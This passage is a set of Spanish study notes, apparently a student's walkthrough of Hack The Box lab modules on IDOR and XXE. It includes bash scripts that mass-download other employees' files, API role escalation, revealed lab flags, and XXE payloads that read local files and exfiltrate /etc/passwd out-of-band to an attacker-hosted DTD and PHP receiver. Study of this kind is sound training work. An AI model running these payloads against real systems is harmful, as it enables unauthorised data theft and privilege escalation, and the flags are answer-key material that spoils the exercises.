en otros. Una vez identificado un IDOR potencial, podemos empezar a probarlo con
técnicas básicas para ver si expone otros datos. En cuanto a los ataques IDOR
avanzados, necesitamos comprender mejor cómo funciona la aplicación web, cómo
calcula sus referencias a objetos y cómo funciona su sistema de control de acceso
para poder realizar ataques avanzados que podrían no ser explotables con técnicas
básicas.
Comencemos discutiendo varias técnicas para explotar vulnerabilidades de IDOR,
desde la enumeración básica hasta la recopilación masiva de datos y la escalada de
privilegios de usuario.
Parámetros inseguros
Comencemos con un ejemplo básico que muestra una vulnerabilidad típica de IDOR.
El siguiente ejercicio se centra en una Employee Manageraplicación web que aloja
registros de empleados:
Nuestra aplicación web asume que iniciamos sesión como empleado con ID de
usuario uid=1para simplificar las cosas. Esto requeriría que iniciáramos sesión con
credenciales en una aplicación web real, pero el resto del ataque sería el mismo. Al
hacer clic en Documents, se nos redirige a
/[Link]:
Al acceder a la Documentspágina, vemos varios documentos pertenecientes a nuestro
usuario. Estos pueden ser archivos subidos por él o archivos asignados por otro
departamento (por ejemplo, el departamento de RR. HH.). Al revisar los enlaces de los
archivos, vemos que tienen nombres individuales:
Código: html
/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf
Observamos que los archivos tienen un patrón de nombres predecible, ya que parecen
incluir el usuario uidy el mes/año como parte del nombre, lo que podría permitirnos
fuzzear archivos para otros usuarios. Este es el tipo más básico de vulnerabilidad IDOR
y se denomina static file IDOR. Sin embargo, para fuzzear con éxito otros archivos,
asumiríamos que todos comienzan con Invoiceo Report, lo que podría revelar algunos
archivos, pero no todos. Por lo tanto, busquemos una vulnerabilidad IDOR más sólida.
Vemos que la página configura "our" uidcon un GETparámetro en la URL como
( [Link]?uid=1). Si la aplicación web usa este uidparámetro GET como
referencia directa a los registros de empleados que debe mostrar, podríamos ver los
documentos de otros empleados simplemente cambiando este valor. Si el backend de
la aplicación web doescuenta con un sistema de control de acceso adecuado,
obtendremos algún tipo de Access Denied. Sin embargo, dado que la aplicación web
pasa "our" uiden texto plano como referencia directa, esto podría indicar un diseño
deficiente de la aplicación web, lo que podría provocar acceso arbitrario a los registros
de empleados.
Cuando intentamos cambiar uida ?uid=2, no notamos ninguna diferencia en la salida
de la página, ya que seguimos obteniendo la misma lista de documentos y podemos
asumir que todavía devuelve nuestros propios documentos:
Sin embargo, we must be attentive to the page details during any web pentestsiempre
hay que prestar atención al código fuente y al tamaño de la página. Si revisamos los
archivos vinculados o hacemos clic en ellos para verlos, observaremos que se trata de
archivos diferentes, que parecen ser los documentos del empleado con uid=2:
Código: html
/documents/Invoice_2_08_2020.pdf
/documents/Report_2_12_2020.pdf
Este es un error común en aplicaciones web con vulnerabilidades IDOR, ya que nos
permiten controlar el parámetro que controla qué documentos de usuario mostrar, sin
tener un sistema de control de acceso en el backend. Otro ejemplo es usar un
parámetro de filtro para mostrar solo los documentos de un usuario específico (p.
ej., uid_filter=1), que también puede manipularse para mostrar los documentos de
otros usuarios o incluso eliminarse por completo para mostrar todos los documentos
a la vez.
Enumeración masiva
Podemos intentar acceder manualmente a los documentos de otros empleados
con uid=3, uid=4, etc. Sin embargo, acceder manualmente a los archivos no es
eficiente en un entorno de trabajo real con cientos o miles de empleados. Por lo tanto,
podemos usar una herramienta como Burp Intrudero ZAP Fuzzerpara recuperar todos
los archivos o escribir un pequeño script en bash para descargarlos, que es lo que
haremos.
Podemos hacer clic en [ CTRL+SHIFT+C] en Firefox para habilitarlo element inspectory
luego hacer clic en cualquiera de los enlaces para ver su código fuente HTML y
obtendremos lo siguiente:
Código: html
<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf'
target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf'
target='_blank'>Report</a></li>
Podemos elegir cualquier palabra única para acceder grepal enlace del archivo. En
nuestro caso, cada enlace comienza con <li class='pure-tree_link'>, por lo que
podemos usar curlla página y greppara esta línea, como se muestra a continuación:
Como podemos ver, pudimos capturar los enlaces del documento correctamente.
Ahora podemos usar comandos específicos de bash para eliminar las partes sobrantes
y obtener solo los enlaces del documento en la salida. Sin embargo, es recomendable
usar un Regexpatrón que coincida con las cadenas entre /documenty .pdf, que
podemos usar con greppara obtener solo los enlaces del documento, como se indica
a continuación:
/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf
url="[Link]
for i in {1..10}; do
for link in $(curl -s "$url/[Link]?uid=$i" | grep -oP "\/documents.*?.pdf");
do
wget -q $url/$link
done
done
Al ejecutar el script, este descargará todos los documentos de todos los empleados
con uidsun número entre 1 y 10, aprovechando así la vulnerabilidad IDOR para
enumerar masivamente los documentos de todos los empleados. Este script es un
ejemplo de cómo podemos lograr el mismo objetivo. Pruebe con una herramienta
como Burp Intruder o ZAP Fuzzer, o escriba otro script de Bash o PowerShell para
descargar todos los documentos.
Solución:
Pedimos a ChatGPT que nos haga la lista del 1 al 20 en base64 y luego a URL Enconde.
Configuramos BurpSuite en intruder para que haga el ataque de diccionario de todos
los IDS (para recorrer todos los ids).
HTB{h45h1n6_1d5_w0n7_570p_m3}
HTB{1_4m_4n_1d0r_m4573r}
Creamos un script para solucionar esta sección:
#!/bin/bash
url="[Link]
declare -a FILES
declare -a LINKS
counter=1
for i in {1..20}; do
response=$(curl -s -X POST -d "uid=$i" "$url/[Link]")
echo
read -p "¿Qué deseas hacer? (a = todos | n = ninguno | número = archivo específico): " opcion
else
echo "[*] No se descargó ningún archivo."
fi
Flag: HTB{4ll_f1l35_4r3_m1n3}
Script en github: [Link]
Evitar referencias codificadas
En la sección anterior, vimos un ejemplo de un IDOR que utiliza los UID de los
empleados en texto plano, lo que facilita su enumeración. En algunos casos, las
aplicaciones web crean hashes o codifican sus referencias a objetos, lo que dificulta
la enumeración, aunque aún podría ser posible.
Regresemos a la Employee Manageraplicación web para probar
la Contractsfuncionalidad:
Vemos que está enviando una POSTsolicitud [Link] los siguientes datos:
Código: php
contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
Usar un [Link] para descargar archivos es una práctica común para
evitar enlazarlos directamente, ya que podría ser explotable con múltiples ataques
web. En este caso, la aplicación web no envía la referencia directa en texto plano, sino
que parece estar creando un hash md5. Los hashes son funciones unidireccionales,
por lo que no podemos decodificarlos para ver sus valores originales.
Podemos intentar generar hashes de varios valores, como uid, username, filename, y
muchos otros, y ver si alguno md5coincide con el valor anterior. Si encontramos una
coincidencia, podemos replicarla para otros usuarios y recopilar sus archivos. Por
ejemplo, intentemos comparar el md5hash de nuestro uidpara ver si coincide con el
hash anterior:
Evitar referencias codificadas
AlejandroGB@htb[/htb]$ echo -n 1 | md5sum
c4ca4238a0b923820dcc509a6f75849b -
Desafortunadamente, los hashes no coinciden. Podemos intentarlo con otros campos,
pero ninguno coincide con nuestro hash. En casos avanzados, también podemos
usar Burp Comparerun fuzzing de varios valores y luego comparar cada uno con
nuestro hash para ver si encontramos alguna coincidencia. En este caso, el md5hash
podría ser de un valor único o de una combinación de valores, lo cual sería muy difícil
de predecir, lo que convierte esta referencia directa en un Secure Direct Object
Reference. Sin embargo, esta aplicación web tiene una falla fatal.
Divulgación de funciones
Dado que la mayoría de las aplicaciones web modernas se desarrollan con frameworks
de JavaScript, como Angular, Reacto [Link], muchos desarrolladores web pueden
cometer el error de ejecutar funciones sensibles en el front-end, lo que los expondría
a ataques. Por ejemplo, si el hash anterior se calculara en el front-end, podríamos
estudiar la función y replicar su funcionamiento para calcular el mismo hash.
Afortunadamente, este es precisamente el caso en esta aplicación web.
Si observamos el enlace en el código fuente, vemos que llama a una función de
JavaScript con javascript:downloadContract('1'). Al observar
la downloadContract()función en el código fuente, vemos lo siguiente:
Código: javascript
function downloadContract(uid) {
$.redirect("/[Link]", {
contract: CryptoJS.MD5(btoa(uid)).toString(),
}, "POST", "_self");
}
Esta función parece estar enviando una POSTsolicitud con el contractparámetro, que
es lo que vimos anteriormente. El valor que envía es un md5hash que utiliza
la CryptoJSbiblioteca, que también coincide con la solicitud que vimos anteriormente.
Por lo tanto, solo queda ver qué valor se está procesando.
En este caso, el valor que se está codificando es btoa(uid), que corresponde a
la base64cadena codificada de la uidvariable, que es un argumento de entrada para la
función. Volviendo al enlace anterior donde se llamó a la función, vemos que esta
llama a downloadContract('1'). Por lo tanto, el valor final utilizado en la POSTsolicitud
es la base64cadena codificada de 1, que luego se md5ha codificado.
Podemos probar esto base64codificando nuestro uid=1, y luego aplicándole un hash
con md5, de la siguiente manera:
Evitar referencias codificadas
AlejandroGB@htb[/htb]$ echo -n 1 | base64 -w 0 | md5sum
cdd96d3cc73d1dbdaffa03cc6cd7339b -
Consejo: Estamos usando la -nbandera con echo, y la -w 0bandera con base64, para
evitar agregar nuevas líneas, para poder calcular el md5hash del mismo valor, sin
agregar nuevas líneas, ya que eso cambiaría el md5hash final.
Como podemos ver, este hash coincide con el de nuestra solicitud, lo que significa que
hemos revertido correctamente la técnica de hash utilizada en las referencias de
objeto, convirtiéndolas en IDOR. Con esto, podemos empezar a enumerar los
contratos de otros empleados utilizando el mismo método de hash que utilizamos
anteriormente Before continuing, try to write a script similar to what we used in the
previous section to enumerate all contracts.
Enumeración masiva
De nuevo, escribamos un script bash simple para recuperar todos los contratos de los
empleados. Generalmente, este es el método más sencillo y eficiente para enumerar
datos y archivos mediante vulnerabilidades IDOR. En casos más avanzados, podemos
utilizar herramientas como Burp Intrudero ZAP Fuzzer, pero un script bash simple
debería ser la mejor opción para nuestro ejercicio.
Podemos comenzar calculando el hash para cada uno de los primeros diez empleados
usando el mismo comando anterior pero usando para eliminar los caracteres tr -
dfinales , de la siguiente manera:-
Evitar referencias codificadas
AlejandroGB@htb[/htb]$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -';
done
cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
8b9af1f7f76daf0f02bd9c48c4a2e3d0
006d1236aee3f92b8322299796ba1989
b523ff8d1ced96cef9c86492e790c2fb
d477819d240e7d3dd9499ed8d23e7158
3e57e65a34ffcb2e93cb545d024f5bde
5d4aace023dc088767b4e08c79415dcd
A continuación, podemos realizar una POSTsolicitud [Link] cada uno de
los hashes anteriores como contractvalor, lo que debería darnos nuestro script final:
Código: bash
#!/bin/bash
for i in {1..10}; do
for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
curl -sOJ -X POST -d "contract=$hash" [Link]
done
done
Con eso, podemos ejecutar el script, y debería descargar todos los contratos de los
empleados 1 a 10:
Evitar referencias codificadas
AlejandroGB@htb[/htb]$ bash ./[Link]
AlejandroGB@htb[/htb]$ ls -1
contract_006d1236aee3f92b8322299796ba1989.pdf
contract_0b24df25fe628797b3a50ae0724d2730.pdf
contract_0b7e7dee87b1c3b98e72131173dfbbbf.pdf
contract_3e57e65a34ffcb2e93cb545d024f5bde.pdf
contract_5d4aace023dc088767b4e08c79415dcd.pdf
contract_8b9af1f7f76daf0f02bd9c48c4a2e3d0.pdf
contract_b523ff8d1ced96cef9c86492e790c2fb.pdf
contract_cdd96d3cc73d1dbdaffa03cc6cd7339b.pdf
contract_d477819d240e7d3dd9499ed8d23e7158.pdf
contract_f7947d50da7a043693a592b4db43b0a1.pdf
Como podemos ver, debido a que pudimos revertir la técnica de hash utilizada en las
referencias de objetos, ahora podemos explotar con éxito la vulnerabilidad IDOR para
recuperar los contratos de todos los demás usuarios.
Solución del problema o sección:
Script; [Link]
Descargar IDOR_Downloads2
Conclusión
Este reto no trataba de fuerza bruta ni de criptografía avanzada, sino de:
• Entender el flujo real de la aplicación.
• Leer el JavaScript
• Replicar exactamente la lógica del cliente
• Explotar la falta de control de acceso
Si entiendes este reto, entiendes IDOR, uno de los bugs más comunes y más explotables en el mundo
real.
IDOR en API inseguras
Hasta ahora, solo hemos utilizado vulnerabilidades de IDOR para acceder a archivos y
recursos fuera del alcance de nuestros usuarios. Sin embargo, también pueden existir
vulnerabilidades de IDOR en llamadas de función y API, y explotarlas nos permitiría
realizar diversas acciones como si fueran otros usuarios.
Si bien IDOR Information Disclosure Vulnerabilitiesnos permiten leer diversos tipos de
recursos, IDOR Insecure Function Callstambién nos permiten llamar a API o ejecutar
funciones como otro usuario. Dichas funciones y API pueden usarse para cambiar la
información privada de otro usuario, restablecer su contraseña o incluso comprar
artículos con su información de pago. En muchos casos, podemos obtener cierta
información mediante una vulnerabilidad de divulgación de información de IDOR y
luego usarla con vulnerabilidades de llamadas a funciones inseguras de IDOR, como
veremos más adelante en este módulo.
Al hacer clic en el Edit Profilebotón, se nos lleva a una página para editar información
de nuestro perfil de usuario, es decir Full Name, Email, y About Me, que es una
característica común en muchas aplicaciones web:
Podemos cambiar cualquier dato de nuestro perfil y hacer clic en [Insert] Update
profile. Veremos que se actualizan y persisten tras las actualizaciones, lo que significa
que se actualizan en una base de datos. Interceptemos la Updatesolicitud en Burp y
analicémosla:
La aplicación web parece estar comparando la solicitud uidcon el punto final de la API
( /1). Esto significa que un control de acceso en el backend nos impide modificar
arbitrariamente algunos parámetros JSON, lo cual podría ser necesario para evitar que
la aplicación web se bloquee o devuelva errores.
Quizás podríamos intentar cambiar los datos de otro usuario. Cambiaremos el punto
final de la API a /profile/[Link]/profile/2y cambiaremos "uid": 2para evitar el error
anterior uid mismatch:
Como podemos ver, esta vez recibimos un mensaje de error que indica que uuid
mismatch la aplicación web parece estar comprobando si el uuid valor que enviamos
coincide con el del usuario uuid. Como enviamos nuestro propio valor uuid, nuestra
solicitud falla. Esto parece ser otra forma de control de acceso para evitar que los
usuarios modifiquen los datos de otros usuarios.
A continuación, veamos si podemos crear un nuevo usuario con una POSTsolicitud al
punto final de la API. Podemos cambiar el método de solicitud a POST, cambiar uida un
nuevo uidy enviar la solicitud al punto final de la API del nuevo uid:
Recibimos un mensaje de error que indica Creating new employees is for admins only.
Lo mismo ocurre al enviar una Delete solicitud, ya que recibimos Deleting employees
is for admins only. Es posible que la aplicación web esté verificando nuestra
autorización mediante la role=employee cookie, ya que esta parece ser la única forma
de autorización en la solicitud HTTP.
Finalmente, intentemos cambiar "our" rolea admin"/" administrator para obtener
mayores privilegios. Desafortunadamente, al no conocer un role nombre válido,
obtenemos Invalid role la respuesta HTTP y "our" roleno se
actualiza:
Por lo tanto, all of our attempts appear to have failed, no podemos crear ni eliminar
usuarios, ya que no podemos modificar nuestros datos role. No podemos modificar
nuestros propios datos uid, ya que existen medidas preventivas en el back-end que
escapan a nuestro control, ni tampoco podemos modificar los datos de otro usuario
por el mismo motivo So, is the web application secure against IDOR attacks?.
Hasta ahora, solo hemos estado probando el IDOR Insecure Function Calls. Sin
embargo, no hemos probado la GET solicitud de la API para IDOR Information
Disclosure Vulnerabilities. Si no existiera un sistema de control de acceso sólido,
podríamos leer los datos de otros usuarios, lo que podría ayudarnos con los ataques
que intentamos anteriormente.
Try to test the API against IDOR Information Disclosure vulnerabilities by attempting to
get other users' details with GET requests Si la API es vulnerable, podríamos filtrar los
datos de otros usuarios y usar esta información para completar nuestros ataques IDOR
en las llamadas de función.
Solución:
Para ello debemos modificar el método http de PUT a GET, para en lugar de enviar
obtengamos información, también en la url
[Link] colocar el 5 en lugar de 1 y por
ultimo cambiar el uid de 1 a 5 y enviar la petición nuevamente como vemos a
continuación, para poder obtener la información de otro usuario mediante IDOR.
Encadenamiento de vulnerabilidades de IDOR
Normalmente, una GET solicitud al punto final de la API debería devolver los datos del
usuario solicitado, por lo que podemos intentar llamarlo para ver si podemos
recuperarlos. También observamos que, tras cargar la página, se obtienen los datos del
usuario mediante una GET solicitud al mismo punto final de la
API:
Divulgación de información
Enviemos una GET solicitud con otra uid:
Como podemos ver, esto devolvió los detalles de otro usuario, con sus propios uuid
y role, confirmando un IDOR Information Disclosure vulnerability:
Código: json
{
"uid": "2",
"uuid": "4a9bd19b3b8676199592a346051f950c",
"role": "employee",
"full_name": "Iona Franklyn",
"email": "i_franklyn@[Link]",
"about": "It takes 20 years to build a reputation and few minutes of cyber-incident to
ruin it."
}
Código: json
{
"uid": "X",
"uuid": "a36fa9e66e85f2dd6f5e13cad45248ae",
"role": "web_admin",
"full_name": "administrator",
"email": "webadmin@[Link]",
"about": "HTB{FLAG}"
}
Podemos modificar los datos del administrador y luego realizar uno de los ataques
mencionados para tomar el control de su cuenta. Sin embargo, como ahora
conocemos el nombre del rol de administrador ( web_admin), podemos asignarlo a
nuestro usuario para crear nuevos usuarios o eliminar los actuales. Para ello,
interceptaremos la solicitud al hacer clic en el Update profilebotón y cambiaremos
nuestro rol a web_admin:
Esta vez no recibimos ningún mensaje de error. Si enviamos una GET solicitud para el
nuevo usuario, vemos que se ha creado correctamente:
Solución:
Interceptamos edit profile
Copiamos la respuesta del servidor y la enviamos como request, esta vez cambiamos
el método GET a PUT para enviar información, se cambia el correo y enviamos la
solicitud, el servidor responde con un 1.
Código: javascript
match /api/profile/{userId} {
allow read, write: if [Link] == true
&& ([Link] == userId || [Link] == 'admin');
}
El ejemplo anterior utiliza el usertoken, que puede utilizarse mapped from the HTTP
request made to the RBAC para recuperar los distintos roles y privilegios del usuario.
Solo permite el acceso de lectura/escritura si el rol del usuario uid en el sistema RBAC
coincide con el uiddel punto final de la API que solicita. Además, si un usuario
tiene admin un rol en el RBAC de back-end, se le permite el acceso de
lectura/escritura.
En nuestros ataques anteriores, observamos ejemplos en los que el rol de usuario se
almacenaba en sus datos o en su cookie. Ambos están bajo el control del usuario y
pueden manipularse para aumentar sus privilegios de acceso. El ejemplo anterior
demuestra un enfoque más seguro para asignar roles de usuario, ya que los privilegios
de usuario were not passed through the HTTP request se asignaron directamente desde
el RBAC en el backend utilizando el token de sesión del usuario como mecanismo de
autenticación.
Los sistemas de control de acceso y los RBAC son mucho más complejos, ya que
pueden ser algunos de los sistemas más complejos de diseñar. Sin embargo, esto
debería darnos una idea de cómo controlar el acceso de los usuarios a los objetos y
recursos de las aplicaciones web.
Referencia a objetos
Si bien el problema principal de IDOR reside en un control de acceso deficiente
(Insecure), el acceso a referencias directas a objetos (Direct Object Referencing)
permite enumerar y explotar estas vulnerabilidades. Podemos seguir usando
referencias directas, pero solo si contamos con un sistema de control de acceso
sólido.
Incluso después de construir un sistema de control de acceso sólido, nunca debemos
usar referencias a objetos en texto plano ni en patrones simples (p. ej., uid=1). Siempre
debemos usar referencias sólidas y únicas, como hashes con sal o UUID's'. Por
ejemplo, podemos usar UUID V4para generar un id fuertemente aleatorio para
cualquier elemento, similar a (89c9b29b-d19f-4515-b2dd-abb6e693eb20). Luego,
podemos asignarlo UUID al objeto al que hace referencia en la base de datos del
backend, y al UUIDllamarlo, la base de datos del backend sabrá qué objeto devolver. El
siguiente código PHP de ejemplo muestra cómo funciona:
Código: php
$uid = intval($_REQUEST['uid']);
$query = "SELECT url FROM documents where uid=" . $uid;
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_array($result);
echo "<a href='" . $row['url'] . "' target='_blank'></a>";
Además, como vimos anteriormente en este módulo, nunca debemos calcular hashes
en el front-end. Debemos generarlos al crear un objeto y almacenarlos en la base de
datos del back-end. Posteriormente, debemos crear mapas de base de datos para
facilitar la rápida comparación de objetos y referencias.
Finalmente, cabe destacar que el uso UUID de s puede permitir que las
vulnerabilidades de IDOR pasen desapercibidas, ya que dificulta su análisis. Por ello,
la referenciación robusta de objetos siempre es el segundo paso tras implementar un
sistema de control de acceso robusto. Además, algunas de las técnicas aprendidas en
este módulo funcionarían incluso con referencias únicas si el sistema de control de
acceso falla, como repetir la solicitud de un usuario con la sesión de otro, como ya
vimos.
Si implementamos ambos mecanismos de seguridad, deberíamos estar relativamente
seguros contra las vulnerabilidades de IDOR.
Introducción a XXE
XML
Extensible Markup Language (XML)Es un lenguaje de marcado común (similar a HTML
y SGML) diseñado para la transferencia y el almacenamiento flexibles de datos y
documentos en diversos tipos de aplicaciones. XML no se centra en la visualización de
datos, sino principalmente en el almacenamiento de datos de documentos y la
representación de estructuras de datos. Los documentos XML se componen de
árboles de elementos, donde cada elemento se denota esencialmente con un tag, y el
primer elemento se denomina root element, mientras que los demás elementos
son child elements.
Aquí vemos un ejemplo básico de un documento XML que representa la estructura de
un documento de correo electrónico:
Código: xml
DTD XML
<!DOCTYPE email [
<!ELEMENT email (date, time, sender, recipients, body)>
<!ELEMENT recipients (to, cc?)>
<!ELEMENT cc (to*)>
<!ELEMENT date (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
Código: xml
Código: xml
Esto es relativamente similar a cómo los documentos HTML definen y hacen referencia
a los scripts JavaScript y CSS.
Entidades XML
También podemos definir entidades personalizadas (es decir, variables XML) en DTDs
XML para permitir la refactorización de variables y reducir la duplicación de datos. Esto
se puede lograr mediante la ENTITY palabra clave, seguida del nombre de la entidad y
su valor, como se indica a continuación:
Código: xml
Una vez definida una entidad, se puede referenciar en un documento XML entre un
símbolo & &y un punto y coma ;(p. ej., &company;). Al hacer referencia a una entidad,
el analizador XML la reemplazará con su valor. Lo más interesante, sin embargo, es que
podemos hacerlo reference External XML Entitiescon la SYSTEMpalabra clave, seguida
de la ruta de la entidad externa, como se indica a continuación:
Código: xml
Cuando una aplicación web confía en los datos XML sin filtrar de la entrada del usuario,
podemos referenciar un documento XML DTD externo y definir nuevas entidades XML
personalizadas. Supongamos que podemos definir nuevas entidades y mostrarlas en
la página web. En ese caso, también deberíamos poder definir entidades externas y
hacer que hagan referencia a un archivo local que, al mostrarse, nos muestre su
contenido en el servidor backend.
Veamos cómo podemos identificar posibles vulnerabilidades XXE y explotarlas para
leer archivos confidenciales del servidor back-end.
Identificación
El primer paso para identificar posibles vulnerabilidades XXE es encontrar páginas web
que acepten entradas de usuario XML. Podemos comenzar el ejercicio al final de esta
sección, que incluye Contact Form:
Vemos que el valor del email elemento se muestra en la página. Para imprimir el
contenido de un archivo externo en la página, debemos note which elements are being
displayed, such that we know which elements to inject into. En algunos casos, es
posible que no se muestre ningún elemento, lo cual explicaremos en las próximas
secciones.
Por ahora, sabemos que cualquier valor que asignemos al <email></email>elemento
se muestra en la respuesta HTTP. Por lo tanto, intentemos definir una nueva entidad y
luego usarla como variable en el email elemento para ver si se reemplaza con el valor
definido. Para ello, podemos usar lo aprendido en la sección anterior sobre la
definición de nuevas entidades XML y agregar las siguientes líneas después de la
primera línea en la entrada XML:
Código: xml
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>
Nota: En nuestro ejemplo, la entrada XML de la solicitud HTTP no tenía ninguna DTD
declarada dentro de los datos XML ni referenciada externamente, por lo que añadimos
una nueva DTD antes de definir nuestra entidad. Si ya estaba declarada en la solicitud
XML, simplemente le DOCTYPEañadiríamos el [Link]
Ahora, deberíamos tener una nueva entidad XML llamada company, a la que podemos
hacer referencia con &company;. Por lo tanto, en lugar de usar nuestro correo
electrónico en el email elemento, intentemos usar &company; y veamos si se
reemplaza con el valor que definimos (Inlane Freight):
Como podemos ver, la respuesta usó el valor de la entidad que definimos ( Inlane
Freight) en lugar de mostrar &company;, lo que indica que podríamos inyectar código
XML. Por el contrario, una aplicación web no vulnerable mostraría ( &company;) como
un valor sin procesar This confirms that we are dealing with a web application
vulnerable to XXE.
Nota: Algunas aplicaciones web pueden usar el formato JSON de forma
predeterminada en las solicitudes HTTP, pero también pueden aceptar otros formatos,
incluido XML. Por lo tanto, incluso si una aplicación web envía solicitudes en formato
JSON, podemos intentar cambiar el Content-Typeencabezado a application/xmly
luego convertir los datos JSON a XML con una herramienta en línea . Si la aplicación
web acepta la solicitud con datos XML, también podemos probarla contra
vulnerabilidades XXE, lo que podría revelar una vulnerabilidad XXE imprevista.
Podemos seleccionar la cadena base64, hacer clic en la pestaña Inspector de Burp (en
el panel derecho) y nos mostrará el archivo decodificado. Para más información sobre
los filtros PHP, consulte el módulo Inclusión de Archivos/Recorrido de Directorios .
This trick only works with PHP web [Link] siguiente sección discutirá un
método más avanzado para leer el código fuente, que debería funcionar con cualquier
marco web.
Pruebas:
Solución:
Divulgación avanzada de archivos
No todas las vulnerabilidades de XXE pueden ser fáciles de explotar, como hemos visto
en la sección anterior. Es posible que algunos formatos de archivo no se puedan leer a
través de XXE básico, mientras que en otros casos, es posible que la aplicación web no
genere ningún valor de entrada, por lo que podemos intentar forzarlo a través de
errores.
Código: XML
<!DOCTYPE email [
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "[Link]
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">
]>
Código: XML
<!ENTITY joined "%begin;%file;%end;">
Ahora, podemos hacer referencia a nuestra entidad externa ( [Link]) y luego imprima
el &joined;entidad que definimos anteriormente, que debe contener el contenido de
la [Link], de la siguiente manera:
Código: XML
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "[Link] <!-- reference
external file -->
<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "[Link] <!-- reference our external DTD
-->
%xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->
Una vez que escribimos nuestro [Link], alojarlo en nuestra máquina y luego
agregar las líneas anteriores a nuestra solicitud HTTP a la aplicación web vulnerable,
finalmente podemos obtener el contenido del [Link]
archivo:
Como podemos ver, pudimos obtener el código fuente del archivo sin necesidad de
codificarlo en base64, lo que ahorra mucho tiempo al revisar varios archivos en busca
de secretos y contraseñas.
Nota: En algunos servidores web modernos, es posible que no podamos leer algunos
archivos (como [Link]), ya que el servidor web estaría evitando un ataque de DOS
causado por la autorreferencia de archivo/entidad (es decir, bucle de referencia de
entidad XML), como se mencionó en la sección anterior.
Este truco puede resultar muy útil cuando el método XXE básico no funciona o cuando
se trata de otros marcos de desarrollo web. Try to use this trick to read other files.
Vemos que efectivamente hicimos que la aplicación web mostrara un error y también
reveló el directorio del servidor web, que podemos usar para leer el código fuente de
otros archivos. Ahora podemos aprovechar esta falla para filtrar el contenido del
archivo. Para hacerlo, usaremos una técnica similar a la que usamos anteriormente.
Primero, alojaremos un archivo DTD que contiene la siguiente carga útil:
Código: XML
<!ENTITY % file SYSTEM "[Link]
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
La carga útil anterior define el file entidad parámetro y luego la une con una entidad
que no existe. En nuestro ejercicio anterior, estábamos uniendo tres cuerdas. En este
caso, %nonExistingEntity;no existe, por lo que la aplicación web arrojaría un error
diciendo que esta entidad no existe, junto con nuestra entidad unida. %file; como parte
del error. Hay muchas otras variables que pueden causar un error, como un URI
incorrecto o caracteres incorrectos en el archivo al que se hace referencia.
Ahora, podemos llamar a nuestro script DTD externo y luego hacer referencia
al errorentidad, de la siguiente manera:
Código: XML
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "[Link]
%remote;
%error;
]>
Una vez que alojemos nuestro script DTD como lo hicimos antes y enviemos la carga
útil anterior como nuestros datos XML (no es necesario incluir ningún otro dato XML),
obtendremos el contenido del /etc/hostsarchivo de la siguiente
manera:
Este método también se puede utilizar para leer el código fuente de archivos. Todo lo
que tenemos que hacer es cambiar el nombre del archivo en nuestro script DTD para
que apunte al archivo que queremos leer (por
ejemplo "[Link] Sin embargo, this method is
not as reliable as the previous method for reading source files, ya que puede tener
limitaciones de longitud y ciertos caracteres especiales aún pueden romperlo.
Solución:
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA[">
<!ENTITY % file SYSTEM "[Link]
<!ENTITY % end "]]>">
<!ENTITY % xxe SYSTEM "[Link]
%xxe;
<email>&joined;</email>
Exfiltración ciega de datos
Código: XML
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM '[Link]
Si por ejemplo el archivo que queremos leer tuviera el contenido
de XXE_SAMPLE_DATA, entonces el fileEl parámetro contendría sus datos codificados
en base64 ( WFhFX1NBTVBMRV9EQVRB). Cuando el XML intenta hacer referencia al
externo oob parámetro de nuestra máquina,
solicitará [Link] Finalmente,
podemos decodificar el WFhFX1NBTVBMRV9EQVRBcadena para obtener el contenido
del archivo. Incluso podemos escribir un script PHP simple que detecte
automáticamente el contenido del archivo codificado, lo decodifique y lo envíe a la
terminal:
Código: PHP
<?php
if(isset($_GET['content'])){
error_log("\n\n" . base64_decode($_GET['content']));
}
?>
Entonces, primero escribiremos el código PHP anterior para [Link] luego inicie un
servidor PHP en el puerto 8000, de la siguiente manera:
Código: XML
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...SNIP...
Una vez que tengamos la herramienta, podemos copiar la solicitud HTTP de Burp y
escribirla en un archivo para que la utilice la herramienta. No debemos incluir los datos
XML completos, sólo la primera línea, y escribir XXE INJECT después como localizador
de posición de la herramienta:
Código: http
POST /blind/[Link] HTTP/1.1
Host: [Link]
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: [Link]
Referer: [Link]
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
...SNIP...
[+] Sending request with malicious XML.
[+] Responding with XML for: /etc/passwd
[+] Retrieved data:
Vemos que la herramienta no imprimió directamente los datos. Esto se debe a que
estamos codificando los datos en base64, por lo que no se imprimen. En cualquier
caso, todos los archivos exfiltrados se almacenan en el Logs carpeta debajo de la
herramienta, y podemos encontrar nuestro archivo allí:
